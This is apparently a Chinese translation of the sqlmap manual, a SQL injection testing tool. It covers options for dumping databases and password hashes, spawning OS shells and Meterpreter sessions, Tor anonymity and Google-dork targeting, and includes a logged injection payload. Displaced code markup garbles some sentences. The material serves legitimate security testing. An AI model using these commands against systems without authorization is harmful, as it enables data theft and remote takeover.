SQL注入_sqlmap_官方文档

时间:2024-03-17 15:29:41

使用Ctrl+F搜索更方便

使用

方法:

python sqlmap.py [options]

选项:

参数 简介
-h, --help 显示基本帮助信息并退出
-hh 显示高级帮助信息并退出
--version 显示程序的版本号并退出
-v VERBOSE 冗余级别:0-6(默认为1)

目标:

必须提供这些选项中的至少一个来定义目标

参数 简介
-d DIRECT 用于直接数据库连接的连接字符串
-u URL, --url=URL 如目标URL(e.g. “http://www.site.com/vuln.php?id=1”)
-l LOGFILE 从Burp或WebScarab代理日志文件解析目标
-m BULKFILE 扫描文本文件中给定的多个目标
-r REQUESTFILE 从文件加载HTTP请求
-g GOOGLEDORK 将谷歌结果处理为目标url
-c CONFIGFILE 从配置INI文件加载选项

请求:

这些选项可用于指定如何连接到目标URL

参数 简介
--method=METHOD 强制使用给定的HTTP方法(e.g. PUT)
--data=DATA 通过POST发送的数据字符串(e.g. “id = 1”)
--param-del=PARA.. 用于分割参数值的字符(e.g. &)
--cookie=COOKIE HTTP Cookie头值(e.g. “PHPSESSID = a8d127e…”)
--cookie-del=COO.. 用于分割cookie值的字符(e.g. ; )
--load-cookies=L.. 包含Netscape/wget格式cookies的文件
--drop-set-cookie 忽略响应中的Set-Cookie头
--user-agent=AGENT HTTP用户代理头值
--random-agent 使用随机选择的HTTP用户代理头值
--host=HOST HTTP主机报头值
--referer=REFERER HTTP引用头值
-H HEADER, --hea.. 额外的报头(e.g. "X-Forwarded-For: 127.0.0.1")
--headers=HEADERS 额外的报头(e.g. "Accept-Language: fr\nETag: 123")
--auth-type=AUTH.. HTTP身份验证类型(基本、摘要、NTLM或PKI)
--auth-cred=AUTH.. HTTP身份验证凭证(name:password)
--auth-file=AUTH.. HTTP身份验证PEM证书/私钥文件
--ignore-code=IG.. 忽略(problematic)HTTP错误码(e.g. 401)
--ignore-proxy 忽略系统默认代理设置
--ignore-redirects 忽略重定向的尝试
--ignore-timeouts 忽略连接超时
--proxy=PROXY 使用代理连接到目标URL
--proxy-cred=PRO.. 代理身份验证凭据(name:password)
--proxy-file=PRO.. 从文件加载代理列表
--tor 使用Tor匿名网络
--tor-port=TORPORT 设置Tor代理端口以外的默认
--tor-type=TORTYPE 设置Tor代理类型(HTTP, SOCKS4或SOCKS5(默认))
--check-tor 检查Tor是否正确使用
--delay=DELAY 每个HTTP请求之间的延迟(秒)
--timeout=TIMEOUT 超时连接之前等待的秒数(默认为30)
--retries=RETRIES 当连接超时时重试(默认为3)
--randomize=RPARAM 随机改变给定参数的值(s)
--safe-url=SAFEURL 测试期间经常访问的URL地址
--safe-post=SAFE.. POST数据发送到一个安全的URL
--safe-req=SAFER.. 从文件加载安全的HTTP请求
--safe-freq=SAFE.. 在对给定安全URL的两次访问之间测试请求
--skip-urlencode 跳过有效负载数据的URL编码
--csrf-token=CSR.. 用于保存反csrf令牌的参数
--csrf-url=CSRFURL 提取反csrf令牌访问的URL地址
--force-ssl 强制使用SSL/HTTPS
--hpp 使用HTTP参数污染方法
--eval=EVALCODE 在请求之前评估提供的Python代码(e.g. "import hashlib;id2=hashlib.md5(id).hexdigest()")

最佳化:

这些选项可用于优化sqlmap的性能

参数 简介
-o 打开所有优化开关
--predict-output 预测常见查询输出
--keep-alive 使用持久HTTP(S)连接
--null-connection 检索页面长度,而不需要实际的HTTP响应体
--threads=THREADS 最大并发HTTP(S)请求数(默认为1)

注射:

这些选项可用于指定要测试的参数,提供自定义注入有效负载和可选的篡改脚本

参数 选项
-p TESTPARAMETER 可测性参数(s)
--skip=SKIP 跳过给定参数的测试(s)
--skip-static 跳过看起来不是动态的测试参数
--param-exclude=.. Regexp从测试中排除参数(e.g. "ses")
--dbms=DBMS 强制后端DBMS提供价值
--dbms-cred=DBMS.. DBMS身份验证凭证(user:password)
--os=OS 强制后端DBMS操作系统提供价值
--invalid-bignum 使用大的数字使值无效
--invalid-logical 使用逻辑操作使值无效
--invalid-string 使用随机字符串使值无效
--no-cast 关闭有效载荷铸造机制
--no-escape 关闭字符串转义机制
--prefix=PREFIX 注入有效载荷前缀字符串
--suffix=SUFFIX 注入有效负载后缀字符串
--tamper=TAMPER 使用给定的脚本篡改注入数据

探测:

这些选项可用于自定义检测阶段

参数 简介
--level=LEVEL 要执行的测试级别(1-5,默认为1)
--risk=RISK 要执行的测试的风险(1-3,默认为1)
--string=STRING 当查询计算为True时匹配的字符串
--not-string=NOT.. 当查询被计算为False时匹配的字符串
--regexp=REGEXP 当查询被计算为True时,将匹配Regexp
--code=CODE 当查询被计算为True时匹配的HTTP代码
--text-only 仅根据文本内容比较页面
--titles 仅根据标题比较页面

方法:

这些选项可用于调整特定SQL注入的测试

参数 简介
--technique=TECH 使用SQL注入技术(默认为 "BEUSTQ")
--time-sec=TIMESEC 延迟DBMS响应的秒数(默认为5)
--union-cols=UCOLS 要测试联合查询SQL注入的列的范围
--union-char=UCHAR 用于强制列数的字符
--union-from=UFROM 表中使用的UNION查询的SQL注入
--dns-domain=DNS.. 域名用于DNS泄露攻击
--second-url=SEC.. 结果页面URL搜索二阶响应
--second-req=SEC.. 从文件加载二级HTTP请求

指纹:

参数 简介
-f, --fingerprint 执行一个广泛的DBMS版本指纹

枚举:

这些选项可用于枚举表中包含的后端数据库管理系统信息、结构和数据。此外,您可以运行自己的SQL语句

参数 简介
-a, --all 检索所有
-b, --banner 检索DBMS横幅
--current-user 检索DBMS当前用户
--current-db 检索DBMS当前数据库
--hostname 检索DBMS服务器主机名
--is-dba 检测DBMS当前用户是否是DBA
--users 列举DBMS用户
--passwords 枚举DBMS用户密码散列
--privileges 枚举DBMS用户特权
--roles 枚举DBMS用户角色
--dbs 列举DBMS数据库
--tables 枚举DBMS数据库
--columns 枚举DBMS数据库表列
--schema 列举DBMS模式
--count 检索表的项数
--dump 转储DBMS数据库表项
--dump-all 转储所有DBMS数据库表项
--search 搜寻列、表及/或资料库名称
--comments 在枚举期间检查DBMS注释
-D DB DBMS数据库枚举
-T TBL 用于枚举的DBMS数据库表
-C COL DBMS数据库表列枚举
-X EXCLUDE 不枚举的DBMS数据库标识符
-U USER DBMS用户枚举
--exclude-sysdbs 枚举表时要排除DBMS系统数据库
--pivot-column=P.. 主列名称
--where=DUMPWHERE 使用时,条件下,表倾倒
--start=LIMITSTART 首先转储要检索的表条目
--stop=LIMITSTOP 要检索的最后一个转储表条目
--first=FIRSTCHAR 首先查询输出要检索的字元
--last=LASTCHAR 最后一个查询输出要检索的字元
--sql-query=QUERY 要执行的SQL语句
--sql-shell 交互式SQL shell的提示符
--sql-file=SQLFILE 执行给定文件中的SQL语句

暴力破解:

这些选项可用于运行强制检查

参数 简介
--common-tables 检查公共表的存在性
--common-columns 检查公共列的存在性

用户定义函数注入:

这些选项可用于创建自定义的用户定义函数

参数 简介
--udf-inject 注入自定义的用户定义函数
--shared-lib=SHLIB 共享库的本地路径

文件系统访问:

这些选项可用于访问底层文件系统的后端数据库管理系统

参数 简介
--file-read=FILE.. 从后端DBMS文件系统读取文件
--file-write=FIL.. 在后端DBMS文件系统上编写一个本地文件
--file-dest=FILE.. 要写入的后端DBMS绝对文件路径

操作系统访问:

这些选项可用于访问底层操作系统的后端数据库管理系统

参数 简介
--os-cmd=OSCMD 执行操作系统命令
--os-shell 交互操作系统外壳的提示符
--os-pwn 提示输入OOB shell、Meterpreter或VNC
--os-smbrelay 单击提示符可以获得OOB shell、Meterpreter或VNC
--os-bof 存储过程缓冲区溢出利用
--priv-esc 数据库进程用户权限升级
--msf-path=MSFPATH 安装Metasploit框架的本地路径
--tmp-path=TMPPATH 临时文件目录的远程绝对路径

Windows注册表访问:

这些选项可用于访问后端数据库管理系统Windows registry

参数 简介
--reg-read 读取Windows注册表项值
--reg-add 写一个Windows注册表键值数据
--reg-del 删除一个Windows注册表项值
--reg-key=REGKEY Windows注册表键
--reg-value=REGVAL Windows注册表键值
--reg-data=REGDATA Windows注册表键值数据
--reg-type=REGTYPE Windows注册表键值类型

通用:

这些选项可用于设置一些通用的工作参数

参数 简介
-s SESSIONFILE 从存储的(.sqlite)文件加载会话
-t TRAFFICFILE 将所有HTTP流量记录到一个文本文件中
--answers=ANSWERS 设置预定义的答案(e.g. "quit=N,follow=N")
--base64=BASE64P.. 包含Base64编码数据的参数
--batch 永远不要要求用户输入,使用默认行为
--binary-fields=.. 具有二进制值的结果字段(e.g. "digest")
--check-internet 在评估目标之前检查网络连接
--crawl=CRAWLDEPTH 从目标URL开始抓取网站
--crawl-exclude=.. Regexp可以从爬行中排除页面(e.g. "logout")
--csv-del=CSVDEL CSV输出中使用的分隔字符(default ",")
--charset=CHARSET 盲SQL注入字符集(e.g. "0123456789abcdef")
--dump-format=DU.. 转储数据的格式(CSV(默认)、HTML或SQLITE)
--encoding=ENCOD.. 用于数据检索的字符编码(e.g. GBK)
--eta 显示每个输出的估计到达时间
--flush-session 刷新当前目标的会话文件
--forms 在目标URL上解析和测试表单
--fresh-queries 忽略存储在会话文件中的查询结果
--har=HARFILE 将所有HTTP流量记录到一个HAR文件中
--hex 在数据检索期间使用十六进制转换
--output-dir=OUT.. 自定义输出目录路径
--parse-errors 解析和显示来自响应的DBMS错误消息
--preprocess=PRE.. 使用给定的脚本对响应数据进行预处理
--repair 有未知字符标记(?)
--save=SAVECONFIG 将选项保存到配置INI文件中
--scope=SCOPE Regexp从提供的代理日志中筛选目标
--test-filter=TE.. 按有效负载和/或标题选择测试(e.g. ROW)
--test-skip=TEST.. 通过有效负载和/或标题跳过测试(e.g. BENCHMARK)
--update 更新sqlmap

杂项:

参数 简介
-z MNEMONICS 使用简短的助记法(e.g. "flu,bat,ban,tec=EU")
--alert=ALERT 当发现SQL注入时,运行主机OS命令
--beep 当发现问题和/或SQL注入时发出哔哔声
--cleanup 从特定于sqlmap的UDF和表中清理DBMS
--dependencies 检查是否缺少(可选的)sqlmap依赖项
--disable-coloring 禁用控制台输出着色
--gpage=GOOGLEPAGE 使用指定页码的谷歌结果
--identify-waf 做一个彻底的WAF/IPS保护测试
--list-tampers 显示可用的篡改脚本列表
--mobile 通过HTTP用户代理头模拟智能手机
--offline 在脱机模式下工作(只使用会话数据)
--purge 安全地从sqlmap数据目录中删除所有内容
--skip-waf 跳过WAF/IPS保护的启发式检测
--smart 只有在积极启发的情况下才进行彻底的测试
--sqlmap-shell 交互式sqlmap shell的提示符
--tmp-dir=TMPDIR 用于存储临时文件的本地目录
--web-root=WEBROOT Web服务器文档根目录(e.g. "/var/www")
--wizard 简单的向导界面为初学者用户

输出详细程度

选项:-v

此选项可用于设置输出消息的冗长级别。详细程度存在七个层次。默认级别为1,其中显示信息、警告、错误、关键消息和 Python 回溯(如果发生任何情况)。

  • 0: 仅显示 Python 回溯、错误和关键消息。
  • 1: 还显示信息和警告消息。
  • 2: 显示还调试消息。
  • 3: 还显示还注入的有效负载。
  • 4: 还显示 HTTP 请求。
  • 5: 还显示 HTTP 响应的标头。
  • 6: 还显示 HTTP 响应的页面内容。

一个合理的详细程度,以进一步理解sqlmap在引擎盖下做什么是2级,主要用于检测阶段和接管功能。但是,如果您想要查看工具发送的 SQL 有效负载,则级别 3是您的最佳选择。建议在向开发人员提供潜在 Bug 报告时使用此级别,请确保随标准输出一起发送使用 选项 生成的流量日志文件。为了进一步调试潜在的错误或意外行为,我们建议您将详细程度设置为4 级或以上。应当指出,还可以使用此选项的较短版本来设置详细程度,其中所提供的开关内的字母数(而不是选项)决定了详细程度(例如: 而不是 ,而不是 ,而不是,等等。-t``v``-v``-v 2``-vv``-v 3``-vvv``-v 4

目标

至少提供了其中一个选项来设定目标。

直接连接到数据库

选项:-d

针对单个数据库实例运行 sqlmap。此选项接受以下形式之一的连接字符串:

  • DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME(MySQL、Oracle、微软SQL服务器、PostgreSQL等)
  • DBMS://DATABASE_FILEPATH(SQLite、微软访问、火鸟等)

例如:

$ python sqlmap.py -d "mysql://admin:admin@192.168.21.17:3306/testdb" -f --bann\
er --dbs --users

目标 URL

选项:或-u``--url

针对单个目标 URL 运行 sqlmap。此选项需要以下形式的目标 URL:

http(s)://targeturl[:port]/[...]

例如:

$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs -\
-users

从 Burp 或 WebScarab 代理日志分析目标

选项:-l

而不是提供单个目标URL,可以测试和注入通过Burp代理或WebScarab代理的HTTP请求。此选项需要一个参数,该参数是代理的 HTTP 请求日志文件。

扫描在给定文本文件中登记的多个目标

选项:-m

提供在给定批量文件中登记的目标 URL 列表,sqlmap 将一个扫描其中每个 URL。

作为此选项的参数提供的批量文件的示例内容:

www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*

从文件加载 HTTP 请求

选项:-r

sqlmap 的可能性之一是从文本文件加载原始 HTTP 请求。这样,您就可以跳过许多其他选项的使用(例如,Cookie 的设置、POSTED 数据等)。

作为此选项的参数提供的 HTTP 请求文件的示例内容:

POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0

id=1

请注意,如果请求超过 HTTPS,您可以将此请求与交换机结合使用,以强制 SSL 连接到 443/tcp。或者,可以追加到标头值的末尾。--force-ssl``:443``Host

将 Google dork 结果作为目标地址处理

选项:-g

也可以根据您的 Google 傻瓜的结果测试和注入 GET 参数。

此选项使 sqlmap 与搜索引擎协商其会话 Cookie 以便能够执行搜索,然后 sqlmap 将检索 Google 前 100 个结果的 Google dork 表达式与 GET 参数询问您是否要测试和注入每个可能受影响的 URL。

例如:

$ python sqlmap.py -g "inurl:\".php?id=1\""

从配置 INI 文件加载选项

选项:-c

可以从配置 INI 文件传递用户的选项,例如 。sqlmap.conf

请注意,如果从命令行中提供其他选项,则在运行 sqlmap 时将计算这些选项并覆盖配置文件中提供的选项。

请求

这些选项可用于指定如何连接到目标 URL。

HTTP 方法

选项:--method

sqlmap 自动检测要在 HTTP 请求中使用的正确 HTTP 方法。然而,在某些情况下,需要强制使用自动化系统未使用的特定 HTTP 方法(例如 )。使用此选项(例如 ), 可以这样做。PUT``--method=PUT

HTTP 数据

选项:--data

默认情况下,用于执行 HTTP 请求的 HTTP 方法是 GET,但您可以通过提供要在 POST 请求中发送的数据来隐式地将它更改为 POST。此类数据作为这些参数,将测试 SQL 注入以及任何提供的 GET 参数。

例如:

$ python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banne\
r --dbs --users

参数拆分字符

选项:--param-del

在某些情况下,默认参数分隔符(例如 在 GET 和 POST 数据中),需要覆盖 sqlmap 才能正确拆分和分别处理每个参数。&

例如:

$ python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=\
1" --param-del=";" -f --banner --dbs --users

HTTP 标头Cookie

选项和开关: 、 和--cookie``--cookie-del``--load-cookies``--drop-set-cookie

这些选项和开关可用于两种情况:

  • Web 应用程序需要基于 Cookie 进行身份验证,并且您拥有此类数据。
  • 您希望检测和利用此类标头值上的 SQL 注入。

这两个原因都使您需要发送具有 sqlmap 请求的 Cookie,要执行的步骤如下:

  • 使用您最喜爱的浏览器登录应用程序。
  • 从浏览器的首选项或 HTTP 代理屏幕获取 HTTP Cookie,然后复制到剪贴板。
  • 回到 shell 并通过将剪贴板粘贴为选项的值来运行 sqlmap。--cookie

请注意,HTTP 标头值通常由字符分隔,而不是由分隔。sqlmap 也可以识别为单独的集,以及 GET 和 POST 参数。如果分离字符不是它可以使用选项指定。Cookie``;``&``parameter=value``;``--cookie-del

如果在通信期间的任何时间,Web 应用程序都会使用标头进行响应,sqlmap 将自动将其值用于所有进一步的 HTTP 请求中的标头。sqlmap 还会自动测试 SQL 注入的这些值。这可以通过提供开关 - sqlmap 来忽略任何即将推出的标头来避免。Set-Cookie``Cookie``--drop-set-cookie``Set-Cookie

反之亦然,如果提供具有选项的 HTTP 标头,并且目标 URL 随时发送 HTTP 标头,sqlmap 将询问要用于以下 HTTP 请求的 Cookie 集。Cookie``--cookie``Set-Cookie

还有一个选项,可用于提供包含网景/wget 格式的 Cookie 的特殊文件。--load-cookies

请注意,如果 设置为2或 2 以上,也会根据 SQL 注入测试 HTTP 标头。有关详细信息,请阅读下文。Cookie``--level

HTTP 标头User-Agent

选项和开关:和--user-agent``--random-agent

默认情况下,sqlmap 使用以下标头值执行 HTTP 请求:User-Agent

sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)

但是,通过提供自定义用户代理作为选项的参数,可以伪造该选项。--user-agent

此外,通过提供开关,sqlmap 将从文本文件中随机选择 一个,并用于会话内的所有 HTTP 请求。--random-agent``User-Agent``./txt/user-agents.txt

某些站点执行 HTTP 标头值的服务器端检查,如果未提供有效的 HTTP 响应、其值未预期或被 Web 应用程序防火墙或类似入侵防护系统列入黑名单,则 HTTP 响应失败。在这种情况下,sqlmap 将显示一条消息,如下所示:User-Agent``User-Agent

[hh:mm:20] [ERROR] the target URL responded with an unknown HTTP status code, try to 
force the HTTP User-Agent header with option --user-agent or --random-agent

请注意,如果 设置为 3 或3以上,也会根据 SQL 注入测试 HTTP 标头。有关详细信息,请阅读下文。User-Agent``--level

HTTP 标头Host

选项:--host

您可以手动设置 HTTP 标头值。默认情况下,从提供的目标 URL 解析 HTTP 标头。Host``Host

请注意,如果 设置为5,也会根据 SQL 注入测试 HTTP 标头。有关详细信息,请阅读下文。Host``--level

HTTP 标头Referer

选项:--referer

可以伪造 HTTP 标头值。默认情况下,如果未显式设置 HTTP 请求,则不会发送 HTTP 标头。Referer``Referer

请注意,如果 设置为 3 或3以上,也会根据 SQL 注入测试 HTTP 标头。有关详细信息,请阅读下文。Referer``--level

额外的 HTTP 标头

选项:--headers

通过设置 选项 可以提供额外的 HTTP 标头。每个标头都必须用一个新行分隔,并且从配置 INI 文件中提供它们要容易得多。您可以查看此类情况的示例文件。--headers``sqlmap.conf

针对 MySQL 目标的示例:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" -z \
"ign,flu,bat,tec=E" --headers="Host:www.target.com\nUser-agent:Firefox 1.0" -v 5
[...]
[xx:xx:44] [TRAFFIC OUT] HTTP request [#5]:
GET /sqlmap/mysql/get_int.php?id=1%20AND%20%28SELECT%209351%20FROM%28SELECT%20C\
OUNT%28%2A%29%2CCONCAT%280x3a6161733a%2C%28SELECT%20%28CASE%20WHEN%20%285473%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3D%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%205473%29%20THEN%201%20ELSE%200%20END%29%29%2C\
0x3a6c666d3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARA\
CTER_SETS%20GROUP%20BY%20x%29a%
29 HTTP/1.1
Host: www.target.com
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Firefox 1.0
Connection: close
[...]

HTTP 协议身份验证

选项: 和--auth-type``--auth-cred

这些选项可用于指定哪个 HTTP 协议身份验证端 Web 服务器实现以及用于执行对目标应用程序的所有 HTTP 请求的有效凭据。

支持的三种 HTTP 协议身份验证机制是:

  • Basic
  • Digest
  • NTLM

虽然凭据的语法为 。username:password

有效语法示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id\
=1" --auth-type Basic --auth-cred "testuser:testpass"

HTTP 协议私钥身份验证

选项:--auth-file

当 Web 服务器需要适当的客户端证书和用于身份验证的私钥时,应使用此选项。提供的值应为设置的 PEM 格式,其中包含证书和私钥。key_file

与 相容的 生成 示例:key_file.txt``--auth-file

$ openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout auth_file.key -out auth_file.pem &&\
cat auth_file.key auth_file.pem > auth_file.txt && cat auth_file.txt
Generating a 2048 bit RSA private key
.........+++
...........+++
writing new private key to \'auth_file.key\'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter \'.\', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:
Email Address []:
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCWM28J1ua2DINf
VLU28oeJwQidL9vTRoGJR5pfBU6Mhu33Cv6RuVEJAfMWEKYDSbqbrEyy1zUiNTcG
mEd026Peq0SPRvsKsVb6K+EHVF3r+6ExXHEctPRbh2GIzi2kCQMkdHDg+DhmieQ9
9Haxk9IREJZTo2vC1ohvM5M/yubw4iwgMlDaW+4s82OgOcCLjewbPLFZU5gMV+8W
XLKUttUYwV79duPbEvG9S1soNFHhu/MOcNiKJpH2zSegd9Dk5/OJRGX5xEiv7AyL
4shQLpAqn5kuZcm2K+ib/4x/Rw2yT1Slh2tQIi8RcwlYyycOrSqvhW7vvdqkblbY
mQQyR2ChAgMBAAECggEBAIqvMveC1cOCCksbi7cQeNVYxvtcFT0e/LwkwQS7gat/
anmQTT2APrJyemEFPkQK76KNlMQMsaLEP+p28IOVydjvin5Aq8tTs1uK6Fw8Kfya
elt5X3eCHZ3lgskuljW/nIcsfI08o9cJuxT5hB6yvmPDTQos+nMMYy1KEcv1LQd8
Y+QAmVQqMF5Nyf8Q6op6hWZIIJY5NDbRE0zYzhGcHWg2798Dx1sO0HT6TD8cNP8H
AVp/V21tzpmFpe0A7NajgYEjkij6fg+6mG0j0WZdWymYXDeiTdDpwzs/SPRevBLn
Okp/6vqtdekMeYL591MNBl8GRZpJW9gNLRX7vQ6YYAECgYEAxGV9e85GpLUd/uUb
1MvGajd+HtN/uoWH1ySG34vi3q/dDKBehry2yoDUosxXf9vbH0IrvaXnO8yXGflS
wb2TELLezGWbw6kPaw2XIgL4elO5TPh2rNJwz1wOhv3FT2XSGJbXx/CED3mL7MGs
qwRU/bRrNV7RmzV2veThlLCLjZECgYEAw8jm7vOzQQnqEjs0wlfJmzOyFqilYvEP
8v7HxDv1M7e7M0TqLECET9VlQE5spGuzEWN7/iMtE8xxnz2n/vGnGAV8qv1LJYrA
TWQMTIC6V9/jKM8wNOfT7Eh1rJ1cty87yokXpy/cdmkv7yxb1b2zuBk8/1nlYqA0
5uqb345eWhECgYEAmoXv0TVfR8BpNWA2IZujJXc7+C0YVj0xwAixRbneaq+cEI8t
UH2ypGnw45Y7UhI9ub5qg/DAmsBCMuGER4NM7tqNiex4Pd4Kj4RF4TDNKBIvvWvQ
k/GPaNdZZsTMNcg7IbWtWVbX0QUlHsbTgEsMRAFsSLWt3ZyXLJmlE0REyMECgYEA
oCqEscrwRC7GLK/+01ZZ+fvqnxrMYgrvj0zbRDAAwpR2MtUX9ae6Fk1vDZKa0k/B
KGKIlzlTsTS5ZxpbivdKSR6EBKY+ibHe6/EDFrrgtu7TuRj2SPG2rz//9Hyv0rRz
Z5eLoBxJcR1QN4vEfTE6C0uqWQPD4lFJtfcMGXEwwuECgYAK+4gwPBlrKClrRtDc
7Fnq8RLYeZRbM5WEmTHfRnlYylniMsj2K20H8ln8pdOqCE4iJn0SezIQIaAtcwMP
WQt15kgJgLwM/uBtqDeWRpTEotVMFXQbZImobjpXUhTqu0NWBwbypM/zarfRWPJ4
fJkrlA16caVj3qGaX1lkm06OAA==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDXTCCAkWgAwIBAgIJALTHPlkIs/+KMA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNV
BAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBX
aWRnaXRzIFB0eSBMdGQwHhcNMTgwODIyMDc0NTQxWhcNMTkwODIyMDc0NTQxWjBF
MQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50
ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAljNvCdbmtgyDX1S1NvKHicEInS/b00aBiUeaXwVOjIbt9wr+kblRCQHz
FhCmA0m6m6xMstc1IjU3BphHdNuj3qtEj0b7CrFW+ivhB1Rd6/uhMVxxHLT0W4dh
iM4tpAkDJHRw4Pg4ZonkPfR2sZPSERCWU6NrwtaIbzOTP8rm8OIsIDJQ2lvuLPNj
oDnAi43sGzyxWVOYDFfvFlyylLbVGMFe/Xbj2xLxvUtbKDRR4bvzDnDYiiaR9s0n
oHfQ5OfziURl+cRIr+wMi+LIUC6QKp+ZLmXJtivom/+Mf0cNsk9UpYdrUCIvEXMJ
WMsnDq0qr4Vu773apG5W2JkEMkdgoQIDAQABo1AwTjAdBgNVHQ4EFgQUVvHI/2qF
kmRCEWlWB+ZvJzWTnUkwHwYDVR0jBBgwFoAUVvHI/2qFkmRCEWlWB+ZvJzWTnUkw
DAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAg5tmkM75/NEEymu0ublj
c2R1/ZxwbKMjg98KxLqGFJbPVRG0qgIy+uc+Gvh6FEgPF22i4L9DROfuDQW3YSJ6
x3JnJxLsU+jjXxtN7hNwoQziQkicKr0y47TjqOKLlBlKTbdnr74nJXSYQhi4qEFE
qgrUG7ScitgLvcf2sDVf9L2SUsH5iRK+HlgYEtSKhUl5SkLapcUUF+GmectUOkm7
m7Z8gelenVUerLojnQL2avKD07hWTTGkgX2PV8hdun0WIvBLWAcJN+6T9sdakJZZ
qJjFQBXjcxwgVe0vB0vJmqa5lj9OymQnBMjp+3zpUtDJNH2M1qySbU6tGEX1wsW/
VA==
-----END CERTIFICATE-----

忽略(有问题的)HTTP 错误代码

选项--ignore-code

如果您想要测试偶尔返回导致问题到常规 sqlmap 运行的 HTTP 错误代码(例如 401(未授权))的站点,而您希望忽略它并继续测试,可以使用选项--ignore-code

HTTP(S) 代理

选项和开关: 、 和--proxy``--proxy-cred``--proxy-file``--ignore-proxy

可以提供 HTTP(S) 代理地址,通过 HTTP(S) 请求传递给具有 选项的目标 URL。HTTP(S) 代理值的语法为 。--proxy``http://url:port

如果 HTTP(S) 代理需要身份验证,您可以以 格式提供凭据到 选项 。username:password``--proxy-cred

如果您想要使用(一次性)代理列表,在连接问题的任何迹象(例如阻止侵入性 IP 地址)时跳到下一个代理,则可以通过提供包含代理批量列表的文件的文件名来使用选项。--proxy-file

当您要通过忽略系统范围的集 HTTP(S) 代理服务器设置来针对着地区域网络的目标部分运行 sqlmap 时,应使用交换机。--ignore-proxy

Tor 匿名网络

开关和选项:、 和--tor``--tor-port``--tor-type``--check-tor

如果出于任何原因,您需要保持匿名,而不是通过单个预定义的 HTTP(S) 代理服务器,您可以在计算机上配置 Tor 客户端以及 Privoxy(或类似),如 Tor 安装指南中所述。然后您可以使用开关,sqlmap 将尝试自动设置 Tor 代理连接设置。--tor

如果您要手动设置已用 Tor 代理的类型和端口,可以使用选项和 (例如 ) 执行此操作。--tor-type``--tor-port``--tor-type=SOCKS5 --tor-port 9050

强烈建议您偶尔使用,以确保一切都设置正确。在某些情况下,Tor 捆绑包(例如 Vidalia)配置错误(或重置以前设置的配置)会给人一种虚假的匿名感。使用此开关 sqlmap 将检查一切是否按预期工作,通过向官方发送单个请求,您是否在任何目标请求之前使用 Tor? page。如果检查失败,sqlmap 将警告您并突然退出。--check-tor

每个 HTTP 请求之间的延迟

选项:--delay

可以指定每个 HTTP(S) 请求之间的保持秒数。有效值是浮点,例如表示半秒。默认情况下,不设置延迟。0.5

在超时连接之前等待秒数

